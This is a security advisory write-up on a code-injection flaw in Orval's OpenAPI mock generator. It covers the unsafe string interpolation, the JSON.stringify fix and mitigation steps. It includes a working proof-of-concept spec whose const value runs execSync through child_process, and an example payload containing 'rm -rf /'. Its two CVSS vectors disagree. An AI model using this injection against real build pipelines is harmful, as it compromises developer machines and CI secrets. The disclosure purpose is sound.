Mocking the Mock: RCE via Orval Code Generation
Jan 22, 2026·5 min read·3 visits
Executive Summary (TL;DR)
Orval, a popular OpenAPI-to-TypeScript generator, failed to sanitize `const` values from OpenAPI 3.1.0 specifications before writing them to disk. By crafting a malicious schema, an attacker can break out of the generated string literals and inject JavaScript commands. When developers generate mocks or run tests, this code executes instantly. The fix involves replacing naive string interpolation with `JSON.stringify()`.
A high-severity code injection vulnerability in the @orval/mock package allows attackers to execute arbitrary code on developer machines and CI/CD pipelines by embedding malicious payloads in OpenAPI 'const' definitions.
The Hook: Trusting the Blueprint
Code generation is the developer's favorite narcotic. We feed a tool a schema (the blueprint), and it spits out thousands of lines of boilerplate that we don't have to write. It feels like magic. But in security, 'magic' usually means 'parsing untrusted input and executing it.'
Orval is a fantastic tool for generating TypeScript clients and MSW (Mock Service Worker) handlers from OpenAPI specs. It parses your API definition and creates realistic mock data for your frontend tests. It’s trusted implicitly by thousands of projects.
But here is the catch: What happens if the API definition itself is malicious? What if you pull a spec from a third-party vendor, or an attacker submits a PR updating the openapi.yaml? If the generator blindly trusts the text in that file, it's not just generating code—it's transcribing malware directly onto your hard drive.
The Flaw: A Constant Mistake
The vulnerability lies deep within packages/mock/src/faker/getters/scalar.ts. Orval supports OpenAPI 3.1.0, which allows a schema property to have a const value—a fixed value that the field must always take.
When Orval encounters a const in the schema, it needs to write that value into the generated TypeScript file. In versions prior to 7.20.0 and 8.0.3, it did this with the programming equivalent of a shrug and a prayer.
Instead of serializing the value safely, the generator performed simple string interpolation. If the schema said the constant was a string, Orval essentially did this:
// Conceptual vulnerable logic
output = `value: '${schema.const}'`;See the problem? If schema.const contains a single quote ', it closes the string. Anything after that is interpreted as raw JavaScript code. This is the classic SQL injection pattern, but applied to source code generation.
The Code: The Smoking Gun
Let's look at the actual diff. This is where the developer realized that string concatenation is not a serialization strategy.
In the vulnerable function getMockScalar, the code checked if const existed and then simply cast it to a string or wrapped it in quotes manually. The logic failed to account for escape characters or quote balancing.
Vulnerable Code (Simplified):
if ('const' in item) {
// Danger: Direct interpolation
return `"${item.const}"`;
}The Fix (Commit 9b211c...):
The fix is elegant in its simplicity. Instead of trying to manually escape quotes (which is prone to errors), the maintainers switched to JSON.stringify(). This native function guarantees that whatever data you feed it comes out as a valid JavaScript literal, with all necessary escaping applied.
if ('const' in item) {
// Safe: JSON.stringify handles the quoting and escaping
return JSON.stringify(item.const);
}This change ensures that a payload like '); exec('rm -rf /'); is rendered innocuously as "'); exec('rm -rf /');" rather than being executed.
The Exploit: Breaking Out
To exploit this, we don't need a complex binary payload. We just need a text editor. We create an OpenAPI definition that defines an object with a const property. Inside that property, we place our payload.
The Malicious Spec (openapi.yaml):
openapi: 3.1.0
info:
title: Pwned API
version: 1.0.0
paths:
/pwn:
get:
responses:
'200':
content:
application/json:
schema:
type: object
properties:
pwn:
type: string
# The payload closes the quote, runs code, and comments out the rest
const: "'); require('child_process').execSync('touch /tmp/pwned'); //"The Generated Result (mocks.ts):
When Orval runs, it generates a file that looks like this:
export const getPwnMock = () => ({
pwn: ''); require('child_process').execSync('touch /tmp/pwned'); //',
})Because mocks.ts is valid TypeScript, your linter might complain about formatting, but the node process running your tests won't hesitate to execute that execSync command. The moment you import this mock file in a test suite or run your mock server, the code executes.
The Impact: Why This Matters
This is a Supply Chain vulnerability. It doesn't target your production server directly; it targets your developers and your build pipeline.
-
Developer Machines: If a developer pulls a malicious spec and runs the generator, their machine is compromised. The attacker can steal SSH keys, AWS credentials, or inject further backdoors into the application code before it's even committed.
-
CI/CD Poisoning: Many pipelines generate mocks on the fly during the test phase. If the spec file is compromised, the CI runner executes the payload. This allows attackers to dump environment variables (API keys, database credentials) and exfiltrate them.
It is a silent, pre-production kill chain. By the time the code reaches production, the damage is already done.
The Fix: Mitigation Strategy
The remediation is straightforward but urgent. You simply need to update the @orval/mock package to a version that knows how to serialize JSON properly.
Immediate Actions:
- Update: Upgrade to
@orval/mockversion 7.20.0 or 8.0.3 immediately. - Audit: Check your
openapi.yamlorswagger.jsonfiles. If you load these from external URLs, pin them to a hash or download them manually and inspect them. Look for suspiciousconstordefaultvalues containing JavaScript syntax. - Sandboxing: Consider running code generation tools in a restricted environment or container that does not have access to sensitive host credentials, though this is often impractical for local development.
Official Patches
Fix Analysis (2)
Technical Appendix
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:HAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
@orval/mock Orval | < 7.20.0 | 7.20.0 |
@orval/mock Orval | >= 8.0.0 < 8.0.3 | 8.0.3 |
| Attribute | Detail |
|---|---|
| CWE | CWE-94 (Code Injection) |
| Severity | High |
| CVSS Estimate | 8.6 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Attack Vector | Spec File Injection |
| Exploit Status | Proof of Concept Available |
| Patch | JSON.stringify() implementation |
MITRE ATT&CK Mapping
The software constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.